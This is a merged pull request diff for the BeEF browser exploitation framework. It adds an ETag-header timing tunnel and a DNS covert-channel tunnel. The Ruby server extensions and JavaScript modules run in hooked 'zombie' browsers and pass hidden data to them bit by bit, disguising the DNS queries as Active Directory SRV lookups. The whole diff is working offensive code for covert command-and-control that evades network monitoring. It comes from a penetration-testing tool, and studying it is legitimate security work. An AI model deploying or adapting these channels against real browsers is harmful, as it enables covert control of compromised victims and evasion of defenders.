Merge pull request #1066 from tsu-iscd/master
Added DNS and ETag covert channels
This commit is contained in:
28
extensions/etag/api.rb
Normal file
28
extensions/etag/api.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
module API
|
||||
|
||||
module ETagHandler
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::ETag::API::ETagHandler,
|
||||
BeEF::API::Server,
|
||||
'mount_handler'
|
||||
)
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
|
||||
print_info "ETag Server: /etag"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
11
extensions/etag/config.yaml
Normal file
11
extensions/etag/config.yaml
Normal file
@@ -0,0 +1,11 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
etag:
|
||||
enable: false
|
||||
name: 'Server-to-Client Etag Tunnel'
|
||||
authors: ["ovbroslavsky","neoleksov"]
|
||||
63
extensions/etag/etag.rb
Normal file
63
extensions/etag/etag.rb
Normal file
@@ -0,0 +1,63 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
|
||||
require 'sinatra/base'
|
||||
require 'singleton'
|
||||
|
||||
class ETagMessages
|
||||
include Singleton
|
||||
attr_accessor :messages
|
||||
|
||||
def initialize()
|
||||
@messages={}
|
||||
end
|
||||
end
|
||||
|
||||
class ETagWebServer < Sinatra::Base
|
||||
def create_ET_header
|
||||
inode = File.stat(__FILE__).ino
|
||||
size = 3
|
||||
mtime = (Time.now.to_f * 1000000).to_i
|
||||
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
|
||||
end
|
||||
|
||||
get '/:id/start' do
|
||||
data = ETagMessages.instance.messages[params[:id].to_i]
|
||||
|
||||
$etag_server_state = {} unless defined?($etag_server_state)
|
||||
$etag_server_state[params[:id]] = {}
|
||||
$etag_server_state[params[:id]][:cur_bit] = -1
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||
$etag_server_state[params[:id]][:message] = data
|
||||
|
||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
||||
body "Message start"
|
||||
end
|
||||
|
||||
get '/:id' do
|
||||
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
|
||||
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
|
||||
$etag_server_state[params[:id]][:cur_bit] += 1
|
||||
else
|
||||
$etag_server_state.delete(params[:id])
|
||||
status 404
|
||||
return "Bing"
|
||||
end
|
||||
|
||||
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||
end
|
||||
|
||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
||||
body "Bit"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
23
extensions/etag/extension.rb
Normal file
23
extensions/etag/extension.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'ETag'
|
||||
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
|
||||
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
|
||||
'that implement unidirectional covert timing channel from ' +
|
||||
'BeEF communication server to zombie browser over Etag header'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/etag/api.rb'
|
||||
require 'extensions/etag/etag.rb'
|
||||
56
extensions/s2c_dns_tunnel/api.rb
Normal file
56
extensions/s2c_dns_tunnel/api.rb
Normal file
@@ -0,0 +1,56 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
module API
|
||||
|
||||
module ServerClientDnsTunnelHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'pre_http_start' )
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'mount_handler' )
|
||||
|
||||
# Starts the S2C DNS Tunnel server at BeEF startup.
|
||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.pre_http_start(http_hook_server)
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
|
||||
|
||||
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
|
||||
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
|
||||
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
|
||||
|
||||
port = 53
|
||||
protocol = :udp
|
||||
interfaces = [[protocol, listen, port]]
|
||||
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
|
||||
dns.run(:listen => interfaces, :zone => zone)
|
||||
|
||||
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
|
||||
info = ''
|
||||
info += "Zone: " + zone + "\n"
|
||||
print_more info
|
||||
|
||||
end
|
||||
|
||||
# Mounts the handler for processing HTTP image requests.
|
||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
16
extensions/s2c_dns_tunnel/config.yaml
Normal file
16
extensions/s2c_dns_tunnel/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
s2c_dns_tunnel:
|
||||
enable: false
|
||||
name: 'Server-to-Client DNS Tunnel'
|
||||
authors: ['dnkolegov','afr1ka']
|
||||
# Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers.
|
||||
# By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only.
|
||||
# listen: ''
|
||||
# Zone managed by DNS server. DNS server will not be started if zone is not specified
|
||||
zone: ''
|
||||
118
extensions/s2c_dns_tunnel/dnsd.rb
Normal file
118
extensions/s2c_dns_tunnel/dnsd.rb
Normal file
@@ -0,0 +1,118 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
class RubyDNS::Transaction
|
||||
|
||||
def fail!(rcode,domain)
|
||||
append_question!
|
||||
|
||||
if rcode.kind_of? Symbol
|
||||
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
|
||||
else
|
||||
@answer.rcode = rcode.to_i
|
||||
end
|
||||
|
||||
if rcode == :NXDomain
|
||||
@answer.aa = 1
|
||||
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
|
||||
Resolv::DNS::Name.create("hostmaster." + domain),
|
||||
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
|
||||
)
|
||||
@answer.add_authority(name,3600,soa)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Server < RubyDNS::Server
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_accessor :messages
|
||||
|
||||
def initialize()
|
||||
super()
|
||||
@lock = Mutex.new
|
||||
end
|
||||
|
||||
# Starts the custom DNS server.
|
||||
#
|
||||
# @param options [Hash] server configuration options
|
||||
# @option options [Array<Array>] :zone - zone manged by BeEF DNS server for data exfiltration
|
||||
# @option options [Array<Array>] :listen - local interfaces to listen on
|
||||
def run(options = {})
|
||||
@lock.synchronize do
|
||||
Thread.new do
|
||||
EventMachine.next_tick do
|
||||
listen = options[:listen] || nil
|
||||
super(:listen => listen)
|
||||
|
||||
@selfip = options[:listen][0][1]
|
||||
@zone = options[:zone]
|
||||
@messages = {}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Entry point for processing incoming DNS requests.
|
||||
#
|
||||
# @param name [String] name of the resource record being looked up
|
||||
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
|
||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||
def process(name,resource,transaction)
|
||||
@lock.synchronize do
|
||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
|
||||
transaction.fail!(:Refused,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
# Parce query name in accordance with Active Directory SRV resource records
|
||||
cid = name.split('.')[2].split('-')[2].to_i
|
||||
bit = name.split('.')[2].split('-')[3].to_i(16)
|
||||
|
||||
if @messages[cid] != nil
|
||||
message = @messages[cid]
|
||||
else
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
if message.length <= bit
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
|
||||
if message[bit] == '1'
|
||||
transaction.respond!(@selfip)
|
||||
return
|
||||
# If the bit is equal to 0 we should return NXDomain message
|
||||
elsif message[bit] == '0'
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Helper method that formats the given resource class in a human-readable format.
|
||||
#
|
||||
# @param resource [Resolv::DNS::Resource::IN] resource class
|
||||
# @return [String] resource name stripped of any module/class names
|
||||
def format_resource(resource)
|
||||
/::(\w+)$/.match(resource.name)[1]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
22
extensions/s2c_dns_tunnel/extension.rb
Normal file
22
extensions/s2c_dns_tunnel/extension.rb
Normal file
@@ -0,0 +1,22 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
extend BeEF::API::Extension
|
||||
@short_name = 'S2C DNS Tunnel'
|
||||
@full_name = 'Server-to-Client DNS Tunnel'
|
||||
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
|
||||
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/s2c_dns_tunnel/dnsd'
|
||||
require 'extensions/s2c_dns_tunnel/api'
|
||||
require 'extensions/s2c_dns_tunnel/httpd'
|
||||
24
extensions/s2c_dns_tunnel/httpd.rb
Normal file
24
extensions/s2c_dns_tunnel/httpd.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
class Httpd < Sinatra::Base
|
||||
|
||||
def initialize(domain)
|
||||
super()
|
||||
@domain = domain
|
||||
end
|
||||
|
||||
get "/map" do
|
||||
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
|
||||
path = File.dirname(__FILE__)
|
||||
send_file File.join(path, 'pixel.jpg')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'sinatra/base'
|
||||
BIN
extensions/s2c_dns_tunnel/pixel.jpg
Normal file
BIN
extensions/s2c_dns_tunnel/pixel.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 309 B |
20
modules/debug/test_get_variable/command.js
Normal file
20
modules/debug/test_get_variable/command.js
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
This JavaScript gets value of the specified variable that was set in another script via Window property.
|
||||
*/
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var payload = "<%= @payload_name %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
var cid = "<%= @command_id %>";
|
||||
|
||||
console.log("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.net.send(curl, parseInt(cid),'get_variable=true');
|
||||
|
||||
});
|
||||
15
modules/debug/test_get_variable/config.yaml
Normal file
15
modules/debug/test_get_variable/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
test_get_variable:
|
||||
enable: false
|
||||
category: "Debug"
|
||||
name: "Test JS variable passing"
|
||||
description: "Test for JS variable passing from another BeEF's script via Window object"
|
||||
authors: ["dnkolegov"]
|
||||
target:
|
||||
working: ["All"]
|
||||
12
modules/debug/test_get_variable/module.rb
Normal file
12
modules/debug/test_get_variable/module.rb
Normal file
@@ -0,0 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Test_get_variable < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px'}]
|
||||
end
|
||||
|
||||
end
|
||||
86
modules/ipec/etag_client/command.js
Normal file
86
modules/ipec/etag_client/command.js
Normal file
@@ -0,0 +1,86 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
//
|
||||
|
||||
beef.execute(function(){
|
||||
var start_time = 0;
|
||||
var origin = '';
|
||||
var header = '';
|
||||
var message = '';
|
||||
var id = "<%= @command_id %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
var payload_name = "<%= @payload_name %>";
|
||||
|
||||
function getHeader(url, mode)
|
||||
{
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', url, mode);
|
||||
xhr.send();
|
||||
if (xhr.status == 404){
|
||||
throw "message_end"
|
||||
}
|
||||
return xhr.getResponseHeader('ETag');
|
||||
}
|
||||
|
||||
function start( origin, id )
|
||||
{
|
||||
start_time = (new Date()).getTime();
|
||||
header = getHeader( origin + '/etag/' + id + '/start', false);
|
||||
}
|
||||
|
||||
function decode( bin_message )
|
||||
{
|
||||
arr = [];
|
||||
for( var i = 0; i < bin_message.length; i += 8 ) {
|
||||
arr.push(bin_message.substr(i, 8));
|
||||
}
|
||||
var message = "";
|
||||
for( i = 0; i < arr.length; i++ ){
|
||||
message += String.fromCharCode(parseInt(arr[i],2));
|
||||
}
|
||||
return message;
|
||||
}
|
||||
|
||||
function get_data( origin, id )
|
||||
{
|
||||
var interval = setInterval( function()
|
||||
{
|
||||
try{
|
||||
newHeader = getHeader( origin + '/etag/' + id, false);
|
||||
}
|
||||
catch(e){
|
||||
// The message is terminated so finish
|
||||
clearInterval(interval);
|
||||
final_message=decode( message );
|
||||
|
||||
delta = ((new Date()).getTime() - start_time)/1000;
|
||||
bits_per_second = "" + message.length/delta;
|
||||
|
||||
//Save the message in the Window
|
||||
if (window.hasOwnProperty(payload_name))
|
||||
window[payload_name] = final_message
|
||||
else
|
||||
Object.defineProperty(window,payload_name, { value: final_message,
|
||||
writable: true,
|
||||
enumerable: false });
|
||||
beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second);
|
||||
return;
|
||||
}
|
||||
if (newHeader!==header){
|
||||
message = message + '1';
|
||||
header = newHeader;
|
||||
} else {
|
||||
message = message + '0';
|
||||
}
|
||||
}, 100, header, message);
|
||||
}
|
||||
function get_message( origin, id )
|
||||
{
|
||||
setTimeout( start( origin, id ), 500 );
|
||||
setTimeout( get_data( origin, id ), 500) ;
|
||||
}
|
||||
get_message( origin, id );
|
||||
});
|
||||
15
modules/ipec/etag_client/config.yaml
Normal file
15
modules/ipec/etag_client/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
etag_client:
|
||||
enable: true
|
||||
category: "IPEC"
|
||||
name: "ETag Tunnel: Server-to-Client"
|
||||
description: "This module sends data from server to client using ETag HTTP header.<br/><br/>A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/> Note: To use this feature you should enable ETag extension."
|
||||
authors: ["dnkolegov,ovbroslavsky,neoleksov"]
|
||||
target:
|
||||
working: "All"
|
||||
39
modules/ipec/etag_client/module.rb
Normal file
39
modules/ipec/etag_client/module.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Etag_client < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload'},
|
||||
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
|
||||
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
|
||||
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
|
||||
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
|
||||
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat '+
|
||||
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
|
||||
'width' => '400px', 'height' => '100px'
|
||||
}]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
# gets the value configured in the module configuration by the user
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
enable = @configuration.get("beef.extension.etag.enable");
|
||||
raise ArgumentError,'etag extension is disabled' if enable != true
|
||||
@datastore.each do |input|
|
||||
if input['name'] == "data"
|
||||
@data = input['value']
|
||||
end
|
||||
end
|
||||
BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack("B*")[0])
|
||||
end
|
||||
|
||||
def post_execute
|
||||
# gets the value of command_id from BeEF database and delete the message from Etag webserver "database"
|
||||
cid = @datastore['cid'].to_i
|
||||
BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid)
|
||||
end
|
||||
end
|
||||
123
modules/ipec/s2c_dns_tunnel/command.js
Normal file
123
modules/ipec/s2c_dns_tunnel/command.js
Normal file
@@ -0,0 +1,123 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
This JavaScript retreives data from a server via DNS covert channel.
|
||||
|
||||
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
|
||||
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
|
||||
|
||||
The initial concept of the DNS covert channell and its implementation are described in the following literature:
|
||||
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
|
||||
- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
|
||||
|
||||
*/
|
||||
beef.execute(function() {
|
||||
|
||||
var payload_name = "<%= @payload_name %>";
|
||||
var domain = "<%= @zone %>";
|
||||
var scheme = beef.net.httpproto;
|
||||
var port = beef.net.port;
|
||||
var cid = "<%= @command_id %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
|
||||
var messages = new Array();
|
||||
var bits = new Array();
|
||||
var bit_transfered = new Array();
|
||||
var timing = new Array();
|
||||
|
||||
// Do the DNS query by reqeusting an image
|
||||
send_query = function(fqdn, msg, byte, bit) {
|
||||
var img = new Image;
|
||||
var fport = "";
|
||||
|
||||
if (port !== "80") fport = ":"+port;
|
||||
|
||||
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
|
||||
|
||||
img.onload = function() { // successful load so bit equals 1
|
||||
bits[msg][bit] = 1;
|
||||
bit_transfered[msg][byte]++;
|
||||
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
||||
}
|
||||
|
||||
img.onerror = function() { // unsuccessful load so bit equals 0
|
||||
bits[msg][bit] = 0;
|
||||
bit_transfered[msg][byte]++;
|
||||
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
||||
}
|
||||
};
|
||||
|
||||
// Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function
|
||||
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
|
||||
function get_byte(msg, byte) {
|
||||
bit_transfered[msg][byte] = 0;
|
||||
var rnd8 = getRandomStr(8);
|
||||
var rnd12 = getRandomStr(12);
|
||||
// Request the byte one bit at a time
|
||||
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
||||
// Set the message number (hex)
|
||||
msg_str = ("" + msg.toString(16)).substr(-8);
|
||||
// Set the bit number (hex)
|
||||
bit_str = ("" + bit.toString(16)).substr(-8);
|
||||
// Build the subdomain
|
||||
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
|
||||
// Build the full domain
|
||||
name = subdomain + '.domains._msdcs.'+ domain;
|
||||
send_query(name, msg, byte, bit)
|
||||
}
|
||||
}
|
||||
|
||||
// Construct random sring
|
||||
function getRandomStr(n){
|
||||
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
|
||||
}
|
||||
|
||||
// Build the environment and request the message
|
||||
function get_message(msg) {
|
||||
// Set variables for getting a message
|
||||
messages[msg] = "";
|
||||
bits[msg] = new Array();
|
||||
bit_transfered[msg] = new Array();
|
||||
timing[msg] = (new Date()).getTime();
|
||||
get_byte(msg, 0);
|
||||
}
|
||||
|
||||
// Build the data returned from the binary results
|
||||
function reconstruct_byte(msg, byte){
|
||||
var char = 0;
|
||||
// Build the last byte requested
|
||||
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
||||
char <<= 1;
|
||||
char += bits[msg][bit] ;
|
||||
}
|
||||
|
||||
// Message is terminated with a null byte (all failed DNS requests)
|
||||
if (char != 0) {
|
||||
// The message isn't terminated so get the next byte
|
||||
messages[msg] += String.fromCharCode(char);
|
||||
get_byte(msg, byte+1);
|
||||
}
|
||||
else {
|
||||
// The message is terminated so finish
|
||||
delta = ((new Date()).getTime() - timing[msg])/1000;
|
||||
bytes_per_second = "" +
|
||||
((messages[msg].length + 1) * 8)/delta;
|
||||
|
||||
// Save the message in the Window
|
||||
if (window.hasOwnProperty(payload_name))
|
||||
window[payload_name] = messages[msg]
|
||||
else
|
||||
Object.defineProperty(window,payload_name, { value: messages[msg],
|
||||
writable: true,
|
||||
enumerable: false });
|
||||
|
||||
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
|
||||
|
||||
}
|
||||
}
|
||||
get_message(0);
|
||||
});
|
||||
15
modules/ipec/s2c_dns_tunnel/config.yaml
Normal file
15
modules/ipec/s2c_dns_tunnel/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
s2c_dns_tunnel:
|
||||
enable: true
|
||||
category: "IPEC"
|
||||
name: "DNS Tunnel: Server-to-Client"
|
||||
description: "This module retreives data sending by server over DNS covert channel (DNS tunnel).<br/><br/> A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/>Note: To use this feature you should enable S2C DNS Tunnel extension."
|
||||
authors: ["dnkolegov"]
|
||||
target:
|
||||
working: "All"
|
||||
48
modules/ipec/s2c_dns_tunnel/module.rb
Normal file
48
modules/ipec/s2c_dns_tunnel/module.rb
Normal file
@@ -0,0 +1,48 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class S2c_dns_tunnel < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
zone = @configuration.get("beef.extension.s2c_dns_tunnel.zone");
|
||||
return [
|
||||
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'},
|
||||
{'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone},
|
||||
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
|
||||
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
|
||||
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
|
||||
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
|
||||
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' +
|
||||
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
|
||||
'width' => '400px', 'height' => '100px'}
|
||||
]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
enable = @configuration.get("beef.extension.s2c_dns_tunnel.enable");
|
||||
raise ArgumentError,'s2c_dns_tunnel extension is disabled' if enable != true
|
||||
|
||||
# gets the value configured in the module configuration by the user
|
||||
@datastore.each do |input|
|
||||
if input['name'] == "data"
|
||||
@data = input['value']
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i ,@data.unpack("B*")[0])
|
||||
end
|
||||
|
||||
def post_execute
|
||||
|
||||
# gets the value of command_id from BeEF database and delete the message from DNS "database"
|
||||
cid = @datastore['cid'].to_i
|
||||
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user